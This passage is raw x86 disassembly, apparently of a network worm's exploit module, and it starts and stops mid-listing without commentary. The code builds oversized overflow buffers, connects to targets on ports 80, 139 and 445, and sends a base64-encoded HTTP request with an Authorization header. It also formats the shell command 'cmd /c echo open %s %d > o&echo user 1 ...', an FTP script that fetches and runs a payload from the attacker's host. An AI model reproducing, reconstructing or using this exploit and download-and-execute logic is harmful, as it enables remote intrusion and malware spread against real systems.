18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C7D3 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CDC9 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CDC9 push esi lea ecx, [ebp+var_30] call sub_40C7D3 lea ecx, [ebp+var_20] call sub_40C7D3 lea ecx, [ebp+var_50] call sub_40C7D3 lea ecx, [ebp+var_18] call sub_40C7D3 lea ecx, [ebp+var_40] call sub_40C7D3 lea ecx, [ebp+var_38] call sub_40C7D3 lea ecx, [ebp+var_28] call sub_40C7D3 push 4 push offset dword_446598 lea ecx, [ebp+var_30] call sub_40C9B9 push 3 push offset dword_4465A0 lea ecx, [ebp+var_30] call sub_40C9B9 lea ecx, [ebp+var_30] call sub_40C93F lea ecx, [ebp+var_30] call sub_40CA1A mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41D100 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40C9B9 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40C9B9 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40C9B9 lea ecx, [ebp+var_20] call sub_40C93F push offset loc_4468FC lea ecx, [ebp+var_50] call sub_40C9ED lea ecx, [ebp+var_50] call sub_40C93F push esi lea eax, [ebp+var_858] push 44h push eax call sub_41D100 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C80B lea ecx, [ebp+var_58] call sub_40C93F push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CA56 lea ecx, [ebp+var_58] call sub_40C89A push esi lea eax, [ebp+var_858] push 43h push eax call sub_41D100 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40C9ED push 4 push offset dword_4465A4 lea ecx, [ebp+var_18] call sub_40C9B9 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40C9B9 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40C9B9 lea ecx, [ebp+var_18] call sub_40C93F push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA0A push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA0A lea ecx, [ebp+var_40] call sub_40CA1A lea ecx, [ebp+var_18] call sub_40C89A lea ecx, [ebp+var_50] call sub_40C89A push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA0A push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA0A push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA0A lea ecx, [ebp+var_38] call sub_40CA1A lea ecx, [ebp+var_20] call sub_40C89A lea ecx, [ebp+var_30] call sub_40C89A lea ecx, [ebp+var_40] call sub_40C89A push esi lea eax, [ebp+var_858] push 41h push eax call sub_41D100 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40C9B9 lea ecx, [ebp+var_28] call sub_40C93F push 2 push offset dword_446910 lea ecx, [ebp+var_28] call sub_40C9B9 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA0A lea ecx, [ebp+var_28] call sub_40CA1A lea ecx, [ebp+var_38] call sub_40C89A lea ecx, [ebp+var_10] call sub_40C7D3 lea ecx, [ebp+var_8] call sub_40C7D3 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA0A lea ecx, [ebp+var_10] call sub_40C8B3 lea ecx, [ebp+var_28] call sub_40C89A push offset dword_446914 lea ecx, [ebp+var_8] call sub_40C9ED push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA0A lea ecx, [ebp+var_8] call sub_40C8B3 lea ecx, [ebp+var_10] call sub_40C89A push offset dword_446918 lea ecx, [ebp+var_10] call sub_40C9ED push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA0A lea ecx, [ebp+var_10] call sub_40C8B3 lea ecx, [ebp+var_8] call sub_40C89A push offset dword_44691C lea ecx, [ebp+var_8] call sub_40C9ED push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA0A lea ecx, [ebp+var_8] call sub_40C8B3 lea ecx, [ebp+var_10] call sub_40C89A push offset dword_446928 lea ecx, [ebp+var_48] call sub_40C9ED push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA0A lea ecx, [ebp+var_8] call sub_40C89A mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CDD7 ; --------------------------------------------------------------------------- loc_40CDC9: ; CODE XREF: sub_40CA75+1Bj ; sub_40CA75+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CDD7: ; CODE XREF: sub_40CA75+352j pop edi pop ebx leave retn sub_40CA75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CDDB proc near ; CODE XREF: sub_40CE9F+A1p ; sub_40CE9F+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call ds:dword_4F14F4 ; select cmp eax, edi jnz short loc_40CE42 lea eax, [ebp+var_10C] push eax push esi call sub_437842 ; __WSAFDIsSet test eax, eax jnz short loc_40CE46 loc_40CE42: ; CODE XREF: sub_40CDDB+54j xor eax, eax jmp short loc_40CE56 ; --------------------------------------------------------------------------- loc_40CE46: ; CODE XREF: sub_40CDDB+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call ds:dword_45150C loc_40CE56: ; CODE XREF: sub_40CDDB+69j pop edi pop esi leave retn sub_40CDDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE5A proc near ; CODE XREF: sub_40CE9F+81p ; sub_40CE9F+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call ds:dword_4514F0 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call ds:dword_451540 cmp eax, 4 jz short loc_40CE84 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CE84: ; CODE XREF: sub_40CE5A+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_451540 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CE5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE9F proc near ; CODE XREF: sub_40CF79+48p ; seg000:0040D3B1p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41AE40 mov esi, eax pop ecx test esi, esi jnz short loc_40CEC8 xor al, al jmp loc_40CF74 ; --------------------------------------------------------------------------- loc_40CEC8: ; CODE XREF: sub_40CE9F+20j push ebx push 0 push esi call sub_41D100 push 2Fh push offset dword_446634 push esi call sub_41E840 push 8 lea eax, [esi+31h] push offset dword_446664 push eax mov [esi+2Fh], di call sub_41E840 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41E840 push 6 add ebx, edi push offset dword_4E2474 push ebx call sub_41E840 mov ebx, [ebp+arg_0] push 85h push offset dword_4465AC push ebx call sub_40CE5A add esp, 48h test al, al jnz short loc_40CF30 loc_40CF2C: ; CODE XREF: sub_40CE9F+B5j xor bl, bl jmp short loc_40CF6B ; --------------------------------------------------------------------------- loc_40CF30: ; CODE XREF: sub_40CE9F+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CDDB push [ebp+var_4] push esi push ebx call sub_40CE5A add esp, 1Ch test al, al jz short loc_40CF2C push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CDDB add esp, 10h mov bl, 1 loc_40CF6B: ; CODE XREF: sub_40CE9F+8Fj push esi call sub_41B8B0 pop ecx mov al, bl loc_40CF74: ; CODE XREF: sub_40CE9F+24j pop edi pop esi pop ebx leave retn sub_40CE9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF79 proc near ; CODE XREF: seg000:0040D397p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_446670 push [ebp+arg_0] call ds:dword_4F14E8 ; send cmp eax, 48h jnz short loc_40CFB4 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CDDB add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40CFB4 cmp [ebp+var_20], 82h jz short loc_40CFB8 loc_40CFB4: ; CODE XREF: sub_40CF79+1Bj ; sub_40CF79+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CFB8: ; CODE XREF: sub_40CF79+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CE9F add esp, 0Ch leave retn sub_40CF79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFCB proc near ; CODE XREF: sub_40D017+29p var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul ds:dbl_439460 call sub_41F33C and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul ds:dbl_439458 fstp [esp+10h+var_10] call sub_41F150 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41F33C inc eax leave retn sub_40CFCB endp ; =============== S U B R O U T I N E ======================================= sub_40D017 proc near ; CODE XREF: sub_40D18E+23p var_40 = qword ptr -40h mov eax, offset loc_437FCF call sub_41F980 sub esp, 2Ch push esi lea eax, [ebp-0Dh] push edi xor esi, esi push eax lea ecx, [ebp-38h] mov [ebp-20h], esi call sub_40D41D push 1 pop edi push dword ptr [ebp+10h] mov [ebp-4], edi call sub_40CFCB pop ecx push eax lea ecx, [ebp-38h] call sub_40D532 cmp [ebp+10h], esi mov [ebp-18h], esi jbe loc_40D162 push ebx mov ebx, [ebp+10h] loc_40D05F: ; CODE XREF: sub_40D017+144j cmp dword ptr [ebp+10h], 3 jb short loc_40D06A push 3 loc_40D067: ; CODE XREF: sub_40D017+5Bj pop ebx jmp short loc_40D07B ; --------------------------------------------------------------------------- loc_40D06A: ; CODE XREF: sub_40D017+4Cj cmp dword ptr [ebp+10h], 2 jnz short loc_40D074 push 2 jmp short loc_40D067 ; --------------------------------------------------------------------------- loc_40D074: ; CODE XREF: sub_40D017+57j cmp [ebp+10h], edi jnz short loc_40D07B mov ebx, edi loc_40D07B: ; CODE XREF: sub_40D017+51j ; sub_40D017+60j and dword ptr [ebp-24h], 0 mov [ebp-28h], ebx fild qword ptr [ebp-28h] push ecx push ecx ; double fmul ds:dbl_439468 fstp [esp+40h+var_40] call sub_41F370 pop ecx pop ecx call sub_41F33C test ebx, ebx mov [ebp-1Ch], eax jbe short loc_40D0BC mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx push 1 and ecx, 3 rep movsb pop edi loc_40D0BC: ; CODE XREF: sub_40D017+8Aj mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh test eax, eax mov [ebp-11h], cl jbe short loc_40D129 add [ebp-18h], eax loc_40D10E: ; CODE XREF: sub_40D017+110j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, ds:byte_4466BC[eax] push eax push edi call sub_40D4B2 inc esi cmp esi, [ebp-1Ch] jb short loc_40D10E loc_40D129: ; CODE XREF: sub_40D017+F2j cmp dword ptr [ebp-18h], 48h jb short loc_40D13E push dword ptr [ebp+14h] lea ecx, [ebp-38h] call sub_40D48A and dword ptr [ebp-18h], 0 loc_40D13E: ; CODE XREF: sub_40D017+116j push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D157 sub esi, [ebp-1Ch] loc_40D149: ; CODE XREF: sub_40D017+13Ej push 3Dh push edi lea ecx, [ebp-38h] call sub_40D4B2 dec esi jnz short loc_40D149 loc_40D157: ; CODE XREF: sub_40D017+12Dj cmp dword ptr [ebp+10h], 0 ja loc_40D05F pop ebx loc_40D162: ; CODE XREF: sub_40D017+3Ej mov ecx, [ebp+8] lea eax, [ebp-38h] push eax call sub_40D435 mov [ebp-20h], edi and byte ptr [ebp-4], 0 lea ecx, [ebp-38h] call sub_40D482 mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi pop esi mov large fs:0, ecx leave retn sub_40D017 endp ; =============== S U B R O U T I N E ======================================= sub_40D18E proc near ; CODE XREF: seg000:0040D37Ap mov eax, offset loc_437FE9 call sub_41F980 sub esp, 10h push ebx push esi push edi push offset dword_4E2480 and dword ptr [ebp-4], 0 push dword ptr [ebp+10h] lea eax, [ebp-1Ch] push dword ptr [ebp+0Ch] push eax call sub_40D017 add esp, 10h lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 1 call sub_40D52E lea ecx, [ebp+14h] mov esi, eax call sub_40D52E lea esi, [esi+eax+36h] push esi call sub_41AE40 mov edi, eax pop ecx test edi, edi jnz short loc_40D1E4 xor bl, bl jmp short loc_40D223 ; --------------------------------------------------------------------------- loc_40D1E4: ; CODE XREF: sub_40D18E+50j lea ecx, [ebp-1Ch] call sub_40D521 push eax lea ecx, [ebp+14h] call sub_40D521 push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41D360 add esp, 14h push 0 push esi push edi push dword ptr [ebp+8] call ds:dword_451540 cmp eax, esi jz short loc_40D21A xor bl, bl jmp short loc_40D21C ; --------------------------------------------------------------------------- loc_40D21A: ; CODE XREF: sub_40D18E+86j mov bl, 1 loc_40D21C: ; CODE XREF: sub_40D18E+8Aj push edi call sub_41B8B0 pop ecx loc_40D223: ; CODE XREF: sub_40D18E+54j and byte ptr [ebp-4], 0 lea ecx, [ebp-1Ch] call sub_40D482 or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+14h] call sub_40D482 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D18E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 428h and byte ptr [ebp-428h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-427h] push 8Fh rep stosd stosw stosb lea eax, [ebp-428h] push offset sub_446868 push eax call sub_41E840 add esp, 0Ch mov eax, offset byte_43CCBC push eax push eax movzx eax, word ptr ds:dword_4DF1B8 push eax push dword ptr [ebp+8] call sub_402617 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-399h] push 400h push eax call sub_41D360 add eax, 90h push eax lea eax, [ebp-428h] push eax push 164h lea eax, [ebp-28h] push offset sub_446700 push eax call sub_40CA75 mov ecx, [eax] xor ebx, ebx mov [ebp-8], ecx add esp, 30h mov eax, [eax+4] cmp eax, ebx mov [ebp-4], eax jnz short loc_40D2F4 xor eax, eax jmp loc_40D402 ; --------------------------------------------------------------------------- loc_40D2F4: ; CODE XREF: seg000:0040D2EBj mov [ebp-0Ch], ebx loc_40D2F7: ; CODE XREF: seg000:0040D3D9j test ebx, ebx jnz loc_40D3DF push 6 push 1 push 2 call ds:dword_4F14E4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz loc_40D3C7 xor eax, eax lea edi, [ebp-1Eh] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-20h], 2 call ds:dword_4514F4 mov [ebp-1Eh], ax lea eax, [ebp+0Ch] push eax call ds:dword_451530 mov [ebp-1Ch], eax lea eax, [ebp-20h] push 10h push eax push esi call ds:dword_45149C cmp eax, 0FFFFFFFFh jz short loc_40D3BC cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D384 sub esp, 10h lea eax, [ebp-0Dh] mov ecx, esp mov [ebp-24h], esp push eax lea eax, [ebp+0Ch] push eax call sub_40D45F push dword ptr [ebp-4] push dword ptr [ebp-8] push esi call sub_40D18E add esp, 1Ch jmp short loc_40D3B9 ; --------------------------------------------------------------------------- loc_40D384: ; CODE XREF: seg000:0040D35Cj cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D39E push dword ptr [ebp-4] push dword ptr [ebp-8] push esi call sub_40CF79 jmp short loc_40D3B6 ; --------------------------------------------------------------------------- loc_40D39E: ; CODE XREF: seg000:0040D38Ej cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D3BC push dword ptr [ebp-4] push dword ptr [ebp-8] push esi call sub_40CE9F loc_40D3B6: ; CODE XREF: seg000:0040D39Cj add esp, 0Ch loc_40D3B9: ; CODE XREF: seg000:0040D382j movzx ebx, al loc_40D3BC: ; CODE XREF: seg000:0040D353j ; seg000:0040D3A8j push esi call ds:dword_451588 test ebx, ebx jnz short loc_40D3D2 loc_40D3C7: ; CODE XREF: seg000:0040D310j push 3E8h call ds:dword_4F12F4 ; Sleep loc_40D3D2: ; CODE XREF: seg000:0040D3C5j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D2F7 loc_40D3DF: ; CODE XREF: seg000:0040D2F9j lea ecx, [ebp-8] call sub_40C89A test ebx, ebx jz short loc_40D400 mov eax, [ebp+0B0h] shl eax, 6 inc ds:dword_4439F8[eax] lea eax, dword_4439F8[eax] loc_40D400: ; CODE XREF: seg000:0040D3E9j mov eax, ebx loc_40D402: ; CODE XREF: seg000:0040D2EFj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40D407: ; DATA XREF: seg002:0043C008o call sub_40D9FE jmp $+5 push offset nullsub_1 call sub_41FE70 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_40D41D proc near ; CODE XREF: sub_40D017+1Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov al, [eax] mov [esi], al call sub_40D79F mov eax, esi pop esi retn 4 sub_40D41D endp ; =============== S U B R O U T I N E ======================================= sub_40D435 proc near ; CODE XREF: sub_40D017+152p ; sub_4373C0+3Cp ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push 0 mov al, [edi] mov [esi], al call sub_40D79F push ds:dword_439470 mov ecx, esi push 0 push edi call sub_40D5B0 mov eax, esi pop edi pop esi retn 4 sub_40D435 endp ; =============== S U B R O U T I N E ======================================= sub_40D45F proc near ; CODE XREF: seg000:0040D36Ep ; sub_437360+27p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push 0 mov al, [eax] mov [esi], al call sub_40D79F push [esp+4+arg_0] mov ecx, esi call sub_40D6A6 mov eax, esi pop esi retn 8 sub_40D45F endp ; =============== S U B R O U T I N E ======================================= sub_40D482 proc near ; CODE XREF: sub_40D017+161p ; sub_40D18E+9Cp ... push 1 call sub_40D79F retn sub_40D482 endp ; =============== S U B R O U T I N E ======================================= sub_40D48A proc near ; CODE XREF: sub_40D017+11Ep arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_40D4A7 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40D546 pop esi retn 4 sub_40D48A endp ; =============== S U B R O U T I N E ======================================= sub_40D4A7 proc near ; CODE XREF: sub_40D48A+7p ; sub_40D6A6+7p arg_0 = dword ptr 4 push [esp+arg_0] call sub_41AC70 pop ecx retn sub_40D4A7 endp ; =============== S U B R O U T I N E ======================================= sub_40D4B2 proc near ; CODE XREF: sub_40D017+107p ; sub_40D017+138p arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, ds:dword_439470 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D4CC call sub_437360 loc_40D4CC: ; CODE XREF: sub_40D4B2+13j test ebx, ebx jbe short loc_40D500 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D6F3 test al, al jz short loc_40D500 lea eax, [esp+0Ch+arg_4] push eax mov eax, [esi+4] add eax, [esi+8] push ebx push eax call sub_40D508 add esp, 0Ch mov ecx, esi push edi call sub_40D6C3 loc_40D500: ; CODE XREF: sub_40D4B2+1Cj ; sub_40D4B2+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D4B2 endp ; =============== S U B R O U T I N E ======================================= sub_40D508 proc near ; CODE XREF: sub_40D4B2+3Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push [esp+arg_4] movsx eax, byte ptr [eax] push eax push [esp+8+arg_0] call sub_41D100 add esp, 0Ch retn sub_40D508 endp ; =============== S U B R O U T I N E ======================================= sub_40D521 proc near ; CODE XREF: sub_40D18E+59p ; sub_40D18E+62p ... mov eax, [ecx+4] test eax, eax jnz short locret_40D52D call sub_40D799 locret_40D52D: ; CODE XREF: sub_40D521+5j retn sub_40D521 endp ; =============== S U B R O U T I N E ======================================= sub_40D52E proc near ; CODE XREF: sub_40D18E+32p ; sub_40D18E+3Cp mov eax, [ecx+8] retn sub_40D52E endp ; =============== S U B R O U T I N E ======================================= sub_40D532 proc near ; CODE XREF: sub_40D017+33p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp [ecx+0Ch], eax jnb short locret_40D543 push 0 push eax call sub_40D6F3 locret_40D543: ; CODE XREF: sub_40D532+7j retn 4 sub_40D532 endp ; =============== S U B R O U T I N E ======================================= sub_40D546 proc near ; CODE XREF: sub_40D48A+14p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, ds:dword_439470 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D560 call sub_437360 loc_40D560: ; CODE XREF: sub_40D546+13j test ebx, ebx jbe short loc_40D593 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D6F3 test al, al jz short loc_40D593 mov eax, [esi+4] push ebx push [esp+10h+arg_0] add eax, [esi+8] push eax call sub_40D59B add esp, 0Ch mov ecx, esi push edi call sub_40D6C3 loc_40D593: ; CODE XREF: sub_40D546+1Cj ; sub_40D546+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D546 endp ; =============== S U B R O U T I N E ======================================= sub_40D59B proc near ; CODE XREF: sub_40D546+3Dp ; sub_40D5B0+D9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] push [esp+4+arg_4] push [esp+8+arg_0] call sub_41E840 add esp, 0Ch retn sub_40D59B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D5B0 proc near ; CODE XREF: sub_40D435+1Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi mov esi, ecx push edi mov ecx, ebx call sub_40D6A2 cmp eax, [ebp+arg_4] jnb short loc_40D5CC call sub_437660 loc_40D5CC: ; CODE XREF: sub_40D5B0+15j mov ecx, ebx call sub_40D6A2 mov edi, eax mov eax, [ebp+arg_4] sub edi, eax cmp [ebp+arg_8], edi jnb short loc_40D5E2 mov edi, [ebp+arg_8] loc_40D5E2: ; CODE XREF: sub_40D5B0+2Dj cmp esi, ebx jnz short loc_40D607 push ds:dword_439470 add edi, eax mov ecx, esi push edi call sub_40D82F push [ebp+arg_4] mov ecx, esi push 0 call sub_40D82F jmp loc_40D699 ; --------------------------------------------------------------------------- loc_40D607: ; CODE XREF: sub_40D5B0+34j test edi, edi jbe short loc_40D66C mov ecx, ebx call sub_40D6A2 cmp edi, eax jnz short loc_40D66C mov ecx, ebx call sub_40D521 push eax mov ecx, esi call sub_40D984 cmp byte ptr [eax], 0FEh jnb short loc_40D66C push ebx push esi call sub_40D9E9 pop ecx test al, al pop ecx jz short loc_40D66C push 1 mov ecx, esi call sub_40D79F mov ecx, ebx call sub_40D521 mov ecx, ebx mov [esi+4], eax call sub_40D6A2 mov ecx, ebx mov [esi+8], eax call sub_40D8BB push dword ptr [esi+4] mov ecx, esi mov [esi+0Ch], eax call sub_40D984 inc byte ptr [eax] jmp short loc_40D699 ; --------------------------------------------------------------------------- loc_40D66C: ; CODE XREF: sub_40D5B0+59j ; sub_40D5B0+64j ... push 1 push edi mov ecx, esi call sub_40D6F3 test al, al jz short loc_40D699 push edi mov ecx, ebx call sub_40D521 add eax, [ebp+arg_4] push eax push dword ptr [esi+4] call sub_40D59B add esp, 0Ch mov ecx, esi push edi call sub_40D6C3 loc_40D699: ; CODE XREF: sub_40D5B0+52j ; sub_40D5B0+BAj ... mov eax, esi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D5B0 endp ; =============== S U B R O U T I N E ======================================= sub_40D6A2 proc near ; CODE XREF: sub_40D5B0+Dp ; sub_40D5B0+1Ep ... mov eax, [ecx+8] retn sub_40D6A2 endp ; =============== S U B R O U T I N E ======================================= sub_40D6A6 proc near ; CODE XREF: sub_40D45F+18p ; sub_40D999+34p arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_40D4A7 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40D7F9 pop esi retn 4 sub_40D6A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6C3 proc near ; CODE XREF: sub_40D4B2+49p ; sub_40D546+48p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and [ebp+var_1], 0 mov [ecx+8], eax mov ecx, [ecx+4] lea edx, [ebp+var_1] add ecx, eax push edx push ecx call sub_40D6E6 pop ecx pop ecx leave retn 4 sub_40D6C3 endp ; =============== S U B R O U T I N E ======================================= sub_40D6E6 proc near ; CODE XREF: sub_40D6C3+18p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] mov al, [eax] mov [ecx], al retn sub_40D6E6 endp ; =============== S U B R O U T I N E ======================================= sub_40D6F3 proc near ; CODE XREF: sub_40D4B2+28p ; sub_40D532+Cp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi push edi mov esi, ecx call sub_40D8A9 mov edi, [esp+0Ch+arg_0] cmp eax, edi jnb short loc_40D70A call sub_437360 loc_40D70A: ; CODE XREF: sub_40D6F3+10j mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz short loc_40D74A push eax mov ecx, esi call sub_40D984 cmp [eax], bl jz short loc_40D74A push dword ptr [esi+4] mov ecx, esi call sub_40D984 cmp byte ptr [eax], 0FFh jz short loc_40D74A cmp edi, ebx jnz short loc_40D789 push dword ptr [esi+4] mov ecx, esi call sub_40D984 dec byte ptr [eax] push ebx loc_40D73F: ; CODE XREF: sub_40D6F3+63j mov ecx, esi call sub_40D79F loc_40D746: ; CODE XREF: sub_40D6F3+68j ; sub_40D6F3+72j xor al, al jmp short loc_40D793 ; --------------------------------------------------------------------------- loc_40D74A: ; CODE XREF: sub_40D6F3+1Ej ; sub_40D6F3+2Aj ... cmp edi, ebx jnz short loc_40D767 cmp [esp+0Ch+arg_4], bl jz short loc_40D758 push 1 jmp short loc_40D73F ; --------------------------------------------------------------------------- loc_40D758: ; CODE XREF: sub_40D6F3+5Fj cmp [esi+4], ebx jz short loc_40D746 push ebx mov ecx, esi call sub_40D6C3 jmp short loc_40D746 ; --------------------------------------------------------------------------- loc_40D767: ; CODE XREF: sub_40D6F3+59j cmp [esp+0Ch+arg_4], bl jz short loc_40D784 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D779 cmp eax, edi jnb short loc_40D791 loc_40D779: ; CODE XREF: sub_40D6F3+80j push 1 mov ecx, 